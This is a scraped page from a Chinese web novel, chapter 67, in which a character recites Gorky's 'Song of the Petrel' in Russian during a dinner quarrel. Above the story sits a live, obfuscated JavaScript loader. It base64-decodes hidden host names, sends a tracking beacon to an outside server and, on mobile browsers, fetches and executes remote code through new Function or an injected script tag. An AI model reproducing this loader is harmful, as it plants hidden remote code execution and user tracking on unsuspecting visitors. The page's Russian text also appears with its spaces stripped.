足迹
小果沙棘原浆
登录
关灯
护眼
字体:

第67章 俄语版《海燕》(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

“真不知道你哪里来的自信!”吴不凡看着赵志峰一脸嘲讽道。

“我的自信是我们国家的文化给的,再说了你觉得会说俄语很厉害吗?”赵志峰原本是没打算跟吴不凡这样的小屁孩计较的,可架不住对方三番五次的找茬。

泥人尚有三分火,赵志峰不介意给这小子上一课,说罢直接清了清嗓子,用地道的俄语声情并茂地朗诵了高尔基的《海燕》。

提起这首大名鼎鼎的革命散文诗,读过书的应该都看过,即使没有看过本山大叔小品的想必也不陌生。

赵志峰中学时期唯一一次上台表演便是用俄语朗诵这首诗歌。

他足足花了一个多月死记硬背才记下了这首俄语散文诗歌。

“怎么着?听你的意思,你不会想说你丫的还会俄语吧?”吴不凡冷不丁的笑了笑。

“恭喜你,猜对了,可惜没奖品!”赵志峰迎着吴不凡的目光回应道,在几人不可置信的注视下,深吸了一口气。

Надседойравнинойморяветертучисобирает.МеждутучамииморемгордореетБуревестник,черноймолнииподобный.

Токрыломволныкасаясь,тострелойвзмываяктучам,онкричит,итучислышатрадостьвсмеломкрикептицы.

Вэтомкрике,жаждабури!Силугнева,пламястрастииуверенностьвпобедеслышаттучивэтомкрике.

在苍茫的大海上,狂风卷集着乌云。

在乌云和大海之间,海燕像黑色的闪电,在高傲地飞翔。

一会儿翅膀碰着波浪,一会儿箭一般地直冲向乌云,它叫喊着,──就在这鸟儿勇敢的叫喊声里,乌云听出了欢乐。

在这叫喊声里──充满着对暴风雨的渴望!在这叫喊声里,乌云听出了愤怒的力量、热情的火焰和胜利的信心。

啊?

真会说俄语?

吴不凡眼神呆滞片刻,咽了咽口水。

翟安然徐瑶雪更是满脸崇拜如同花痴一般的看向赵志峰,就连埋头吃饭的王子博都不由得放下了手中的刀叉。

吴不凡虽然不会俄语,但还是能分辨赵志峰是不是胡说一通。

很显然,这小子真会说俄语,瞧这架势要不就是在骂人,要不就是在背课文。

可恶,怎么又让这小子装到了!

赵志峰越背越自然,语速越来越快,声音中当然夹杂着个人情绪,傲气中蕴含着无所畏惧。

还别说,他的情绪竟然带动了周边不少食客,倒没有人因为他的朗诵露出不满,反而十分赞叹。

隔壁桌一个大胡子更是听得饱含热泪,目光灼灼。

现场的气氛让赵志峰十分陶醉享受,最后一句“Пустьсильнеегрянетбуря!”说完之后对着全场说了句“Большоеспасибо”(非常感谢)

安静,吴不凡张大着嘴吧,原本准备好的质疑嘲讽的话通通被他化作震惊咽了下去。

他人都傻了,不知道该说什么好了,“你...你真会...”